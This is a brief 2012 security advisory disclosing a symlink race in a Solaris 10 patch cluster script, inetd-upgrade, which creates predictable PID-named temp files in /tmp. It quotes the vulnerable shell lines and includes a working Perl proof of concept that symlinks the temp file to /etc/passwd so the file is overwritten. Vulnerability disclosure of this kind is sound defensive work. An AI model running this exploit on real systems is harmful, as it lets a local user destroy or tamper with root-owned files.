Solaris 10 Patch Cluster Symlink Attack

`Larry W. Cashdollar  
8/6/2012  
Here is another symlink attack with temp file creation using process id in Solaris 10 patch cluster. You can over write the contents of root owned files with the contents of inetd.conf.   
  
In patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade  
  
  
lines :   
72 inetdconf_entries_file=/tmp/iconf_entries.$$  
73  
74 # Create sed script that prints out inetd.conf src line from inetconv generated  
75 # manifest.  
76 cat <<EOF > /tmp/inetd-upgrade.$$.sed  
77 /propval name='source_line'/{  
78 n  
79 s/'//g  
80 p  
81 }  
82 /from the inetd.conf(4) format line/{  
83 n  
84 p  
85 }  
86 EOF  
  
  
If 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents of a root owned file with a simple script:  
  
#!/usr/bin/perl   
$clobber = "/etc/passwd";  
while(1) {  
open ps,"ps -ef | grep -v grep |grep -v PID |";  
  
while(<ps>) {  
@args = split " ", $_;  
  
if (/inetd-upgrade/) {   
print "Symlinking iconf_entries.$args[1] to $clobber\n";  
symlink($clobber,"/tmp/iconf_entries.$args[1]");  
exit(1);  
}  
}  
  
}  
  
http://vapid.dhs.org/advisories  
@lcashdol   
`